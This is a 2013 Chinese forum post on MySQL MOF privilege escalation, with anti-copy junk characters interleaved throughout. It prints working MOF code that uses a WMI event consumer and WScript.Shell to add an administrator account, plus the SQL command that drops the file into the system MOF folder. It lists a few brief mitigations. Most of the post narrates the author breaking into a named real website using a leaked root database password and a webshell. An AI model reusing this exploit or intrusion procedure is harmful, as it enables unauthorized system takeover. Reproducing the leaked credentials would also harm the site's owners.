找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2547|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
/ w  w; L" e6 Y- T+ C+ P/ S. B0 P4 @& n. x
网上公开的一些利用代码:
/ e$ \7 w$ }  |
9 s/ y6 z: `  h7 |3 [* ?2 ~#pragma namespace(“\\\\.\\root\\subscription”)
* _$ h3 T% ~; v) Y) ~7 a  y4 v- w1 ~, d, y
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
; a; ~1 V% k- C, A( x) W' \! X6 ~. r1 t3 r, g; X; l

' x3 g* b" O; L8 E8 p: k8 w; k5 `! ?, Q1 v* k, s
, ^( j/ K* K" L* @
, I$ \. v3 X. _, R
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
7 {6 s6 r5 F' _! Y2 t从上面代码来看得出解决办法:
1 [0 [& ]2 C' h. J* x2 \! I& |2 F1 o) y4 _
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
( d' N! \: C; }/ g6 v& h
0 w" Y: b$ q0 i, z  L! ~' N- }2、禁止使用”WScript.Shel”组件0 O! K/ P2 l1 J& R3 L5 z% v

2 |, E% b7 P6 Z8 ?  s7 x9 L3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER3 T) G+ L" m; a9 R( C- R

/ w; y2 K5 z' \( t0 H当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下5 q3 N' g, l7 f, y; \9 |! C4 p
6 |7 k7 R6 r8 j0 M' f
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
1 A# Y4 O  `) L( S# e: S
+ R" r2 C" H" G& ]! W  R. O" s) L但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容8 |0 ], I6 O( m1 R; C6 a7 w
" \7 ?/ A6 M8 E) ^- @
看懂了后就开始练手吧
% u$ l% c. {5 G1 z3 q+ J( H/ R$ l" O) u0 [! a; H
http://www.webbmw.com/config/config_ucenter.php 一句话 a
" ?" q9 t: |% m9 q9 z: N
1 p  p  \2 R; J' _4 F$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
, V( j  B7 o' ]1 i: y( a% q; J
- g. Y* Y0 }  o0 b+ k! A( Z, b于是直接用菜刀开搞  f1 w$ C  L7 m& ~

" n2 o- w  b: Q: Q( {上马先6 c; |( m+ |" i2 ], _
  }6 ?$ F* l: x( [; B- a
既然有了那些账号 之类的 于是我们就执行吧…….
6 W6 m3 R( {  S, W: U2 y3 h( v' @7 H0 u7 y  j1 ]! H
小小的说下
4 A0 }; y" M) G% w$ n
9 A; c4 y, U+ i9 C在这里第1次执行未成功        原因未知( g+ o4 O, U9 J% R# D# S' P! Q

" p9 p$ A! O8 E3 O我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
6 k, }- z1 z2 s0 M' @# z% Y) y5 B: K1 ?- g7 h' h8 ?
#pragma namespace(“\\\\.\\root\\subscription”)
' X* u; [! j* e' P1 a
3 H0 l" H# o( y' m* m/ Kinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };6 ?& ?& |) q( J: U

4 F5 l3 Y/ V5 F' @5 X9 W" t" y我是将文件放到C:\WINDOWS\temp\1.mof- ]1 ]! ^3 f% r0 x
6 y; {! `  G" X4 O& ^2 r
所以我们就改下执行的代码
# c$ n9 a5 I4 a$ }( Q3 R
( ?8 G4 d& N3 K' G. @* ~7 a* f! mselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
2 S" u( Y( i9 E; K7 b& V9 @
) G1 V' Y+ t1 l& |3 A, l9 c
' y1 ~6 j* ]* i4 C9 g7 M, u5 T6 Q2 Q0 _( {/ u- o! b% m
但是 你会发现账号还是没有躺在那里。。
% ^& d- x  N3 x: S# M" J8 O& w
, e' @& T. ?  c0 Y: P于是我就感觉蛋疼3 R# \; Y* t2 T. K" |& }1 }$ W
  A; w8 l- h5 v0 \% M
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
/ m6 y! a+ n( `" G' m+ m  L& B' l+ Y
" c7 U* Y+ s# u" w. S7 ~' a) _
4 i. w, {) D& `8 i# }
但是其他库均不成功…' k( O: ~8 |6 h* W6 v  ?+ w. }% x

; @6 k* a( O& [我就很费解呀 到底为什么不成功求大牛解答…0 j8 j6 @" M4 K9 l2 u: S* G

) {$ c  R' d0 o$ Q  d​7 e8 x, F& l" B4 H6 J; Y
( \7 l4 }1 [1 T4 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表